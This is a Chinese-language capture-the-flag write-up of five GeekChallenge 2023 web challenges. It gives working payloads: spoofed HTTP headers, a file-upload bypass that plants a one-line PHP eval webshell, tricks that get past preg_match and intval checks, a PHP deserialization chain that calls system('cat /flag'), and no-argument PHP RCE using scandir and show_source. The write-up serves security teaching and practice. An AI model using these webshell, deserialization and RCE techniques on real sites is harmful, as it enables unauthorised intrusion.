GeekChallenge_2023

EzHttp

请post传参username和password进行登录
那么我们随便post
显示密码错误
查看源码发现密码被藏
在页面中查找没有结果
用dirsearch搜一下
搜到了robots.txt

1
2
3
User-agent: *

Disallow: /o2takuXX's_username_and_password.txt

进入获得账户密码,返回第一个界面输入

1
2
username:admin
password:@dm1N123456r00t#

为了方便,后面都用burp抓包操作

  • 必须来源自sycsec.com
    payload:

    1
    Referer: sycsec.com
  • 请使用Syclover浏览器
    payload:

    1
    User-Agent: Syclover
  • 请从localhost访问
    payload:

    1
    x-forwarded-for: 127.0.0.1
  • 请使用Syc.vip代理

    1
    via:Syc.vip
1
2
3
4
5
6
7
<?php
if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
echo $flag;
}

?>

payload

1
O2TAKUXX: GiveMeFlag

flag

1
SYC{HttP_1s_E@sY}

n00b_Upload

文件上传题
上传4.txt

txt被过滤了
上传4.php

后缀过了,看来php没被过滤,但还是被过滤了什么导致没有上传成功

上传4.png

正确的上传方式是这种
要检查后缀,头部,文件内容才能上传
接着回到上面的php
png是后缀头部都过,而php只过了后缀,把他们结合一下试试
上传4.png并抓包

1
<?= @eval($_POST['a']);?>

因为对文件内容有检查,所以把php换为=
抓包后把名字改为4.png.php

通过
进入文件存储就就可以无障碍RCE了

1
2
3
4
a=system("ls /");
//bin dev etc flag flag.sh home lib media mnt proc root run sbin srv sys tmp usr var
a=system("cat /flag");
//SYC{mKs0jSTEiW7n47bMPz}

easy_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);

highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>

首先是第一个if

1
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!')

^表示匹配开头$表示匹配到结尾
我先想到的是替换空格,在本地环境测试中一直也没通过
preg_match也有绕过的方式
在字符串后加入%0a返回的也为true
同时后面比较为强比较不能与%0a匹配
所以payload

1
?syc=Welcome to GEEK 2023!%0a

第二个if

1
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024)

intval有一个小漏洞
intval(‘2e4’)为2而intval(‘2e4’+1)为20001
payload

1
lover=2e4

第三、四个if

1
2
if (isset($_POST['qw']) && $_POST['yxx'])
if (sha1($array1) === sha1($array2))

本来以为要强碰撞绕过,但出题人好像有点疏忽了,让两个post相等即可
直接payload:

1
qw=1&yxx=1

最后一个if

1
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!"))

把第一个下划线改为[即可(使后面的特殊字符不被转义)
payload

1
SYC[GEEK.2023=Happy to see you!

unsign

反序列化题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}

class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}

}

class web
{
public $eva1;
public $interesting;

public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}

?>
  • __construct():实例化对象时,首先会去自动执行的一个方法

  • __invoke():格式表达错误导致没魔术方法触发(把对象当成函数调用)

  • __get():调用的成员属性是私有属性或不存在时触发(返回值:不存在的成员属性的名称)

构造出这几行代码

1
2
3
4
5
6
7
8
9
10
$a=new web();
$a->eva1='system';
$a->interesting="cat /flag";
$b=new lover();
$b->yxx=$a;
$b->QW='asd';//赋一未知值来调用__get
$c=new syc();
$c->cuit=$b;//触发__invoke

echo serialize($c);

payload:

1
url=O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:9:"cat /flag";}s:2:"QW";s:3:"asd";}}

Pupyy_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
$var = $_GET['var'];

if (!preg_match("/env|var|session|header/i", $var,$match)) {
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
eval($_GET['var']);
}
else die("WAF!!");
} else{
die("PLZ DONT HCAK ME😅");
}
}
1
if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var))

\s:匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。
+?:对于字符串 “oooo”,’o+?’ 将匹配单个 “o”,而 ‘o+’ 将匹配所有 ‘o’
(?R)?:(?R)代表当前表达式,就是/[^\s\(\)]+?\((?R)?\)/,所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))
而(?R)?能匹配的只有a(b()); a(b(c()));这种类型的,比如传入a(b(c()));,第一次匹配后,就剩a(b()),第二次匹配后,a();,第三次匹配后就剩下;了,最后a(b(c()))就会被eval执行。

思路明确了,这题应该使用无参RCE
下面是无参RCE的常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
getchwd():函数返回当前工作目录。
scandir():函数返回指定目录中的文件和目录的数组。
dirname():函数返回路径中的目录部分。
chdir():函数改变当前的目录。
readfile():输出一个文件。
current():返回数组中的当前单元, 默认取第一个值。
pos()current() 的别名。
next():函数将内部指针指向数组中的下一个元素,并输出。
end():将内部指针指向数组中的最后一个元素,并输出。
array_rand():函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip()array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice():函数在数组中根据条件取出一段值,并返回。
array_reverse():函数返回翻转顺序的数组。
chr() 函数从指定的:ASCII 值返回字符。
hex2bin():— 转换十六进制字符串为二进制字符串。
getenv():获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv():函数返回一包含本地数字及货币格式信息的数组。

payload:

1
2
?var=print_r(scandir(pos(localeconv())));
//Array ( [0] => . [1] => .. [2] => error.log [3] => fl@g.php [4] => genshin01.txt [5] => index.php [6] => tiangou01.txt [7] => tiangou02.txt )

可以看出flag在一个特殊的位置上,无法通过next或end直接读取,那么我们使用随机函数
可以用array_rand()array_flip()
(array_rand()返回的是键名所以必须搭配array_flip()来交换键名、键值来获得键值,随机刷新显示的内容)

payload:

1
?var=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

多刷新几遍就出来了


GeekChallenge_2023
http://example.com/2023/11/14/GeekChallenge_2023/
作者
奇怪的奇怪
发布于
2023年11月14日
许可协议